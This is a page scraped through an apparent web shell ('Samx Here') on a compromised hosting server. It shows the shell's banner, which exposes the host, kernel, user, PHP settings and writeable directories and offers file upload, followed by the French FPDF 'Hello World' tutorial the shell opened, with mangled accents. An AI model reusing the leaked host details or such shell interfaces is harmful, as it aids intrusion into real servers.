Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/universe/lib/h5c1accba-fpdf181/tutorial/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/universe/lib/h5c1accba-fpdf181/tutorial/tuto1.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Exemple minimal</title>
<link type="text/css" rel="stylesheet" href="../fpdf.css">
</head>
<body>
<h1>Exemple minimal</h1>
Voici pour commencer l'exemple classique :
<div class="source">
<pre><code>&lt;?php
<span class="kw">require(</span><span class="str">'fpdf.php'</span><span class="kw">);

</span>$pdf <span class="kw">= new </span>FPDF<span class="kw">();
</span>$pdf<span class="kw">-&gt;</span>AddPage<span class="kw">();
</span>$pdf<span class="kw">-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">'B'</span><span class="kw">,</span>16<span class="kw">);
</span>$pdf<span class="kw">-&gt;</span>Cell<span class="kw">(</span>40<span class="kw">,</span>10<span class="kw">,</span><span class="str">'Hello World !'</span><span class="kw">);
</span>$pdf<span class="kw">-&gt;</span>Output<span class="kw">();
</span>?&gt;</code></pre>
</div>
<p class='demo'><a href='tuto1.php' target='_blank' class='demo'>[D�mo]</a></p>
Apr�s avoir inclus la librairie, un objet FPDF est cr��.
Le <a href='../doc/__construct.htm'>constructeur</a> est utilis� ici avec les valeurs par d�faut : les pages sont en
portrait A4 et l'unit� de mesure est le millim�tre. On aurait pu l'indiquer explicitement par :
<div class="source">
<pre><code>$pdf <span class="kw">= new </span>FPDF<span class="kw">(</span><span class="str">'P'</span><span class="kw">,</span><span class="str">'mm'</span><span class="kw">,</span><span class="str">'A4'</span><span class="kw">);
</span></code></pre>
</div>
Il est possible de passer en paysage (<code>L</code>), d'utiliser d'autres formats de page (comme
<code>A3</code> et <code>A5</code>) ainsi que d'autres unit�s de mesure (<code>pt</code>,
<code>cm</code>, <code>in</code>).
<br>
<br>
Il n'y a pour l'instant encore aucune page, c'est pourquoi il faut en ajouter une avec
<a href='../doc/addpage.htm'>AddPage()</a>. L'origine est en haut � gauche et la position courante est plac�e par d�faut
� 1 cm des bords ; on peut changer ces marges par <a href='../doc/setmargins.htm'>SetMargins()</a>.
<br>
<br>
Avant d'imprimer du texte, il est imp�ratif de d�finir la police avec <a href='../doc/setfont.htm'>SetFont()</a>.
On choisit de l'Arial gras en taille 16 :
<div class="source">
<pre><code>$pdf<span class="kw">-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">'B'</span><span class="kw">,</span>16<span class="kw">);
</span></code></pre>
</div>
On aurait pu sp�cifier de l'italique avec <code>I</code>, du soulign� avec <code>U</code> ou une
police normale avec une cha�ne vide (ou bien encore une combinaison de styles). A noter que la
taille de la police est ici donn�e en points, pas en millim�tres (ou autre unit� choisie) ; c'est
la seule exception. Les autres polices standards disponibles sont Times, Courier, Symbol et
ZapfDingbats.
<br>
<br>
On imprime ensuite une cellule gr�ce � <a href='../doc/cell.htm'>Cell()</a>. Une cellule est une zone rectangulaire,
�ventuellement encadr�e, qui contient une ligne de texte. Elle est imprim�e � la position
courante. On sp�cifie ses dimensions, le texte (centr� ou align�), si des bords doivent �tre
trac�s, et si la position courante doit �tre d�plac�e � droite, en dessous ou bien doit
retourner au d�but de la ligne suivante. On aurait par exemple encadr� le texte comme ceci :
<div class="source">
<pre><code>$pdf<span class="kw">-&gt;</span>Cell<span class="kw">(</span>40<span class="kw">,</span>10<span class="kw">,</span><span class="str">'Hello World !'</span><span class="kw">,</span>1<span class="kw">);
</span></code></pre>
</div>
Si on veut ajouter une nouvelle cellule � droite avec du texte centr� et retourner � la ligne,
on fait :
<div class="source">
<pre><code>$pdf<span class="kw">-&gt;</span>Cell<span class="kw">(</span>60<span class="kw">,</span>10<span class="kw">,</span><span class="str">'Powered by FPDF.'</span><span class="kw">,</span>0<span class="kw">,</span>1<span class="kw">,</span><span class="str">'C'</span><span class="kw">);
</span></code></pre>
</div>
Remarque : le retour � la ligne peut �galement s'effectuer gr�ce � la m�thode <a href='../doc/ln.htm'>Ln()</a>. Cette
derni�re permet de pr�ciser en plus la hauteur du saut de ligne.
<br>
<br>
Enfin, le document est termin� et envoy� au navigateur gr�ce � <a href='../doc/output.htm'>Output()</a>. Il est �galement
possible de le sauvegarder directement dans un fichier en passant les param�tres appropri�s.
<br>
<br>
<strong>Attention :</strong> dans le cas o� le PDF est envoy� au navigateur, le script ne doit
rien envoyer d'autre, ni avant ni apr�s (pas d'HTML, m�me pas un espace ni un retour-chariot).
Si vous envoyez quelque chose avant, vous obtiendrez le message : "Some data has already been
output, can't send PDF file". Si vous envoyez quelque chose apr�s, il se peut que le document
ne s'affiche pas.
</body>
</html>

SAMX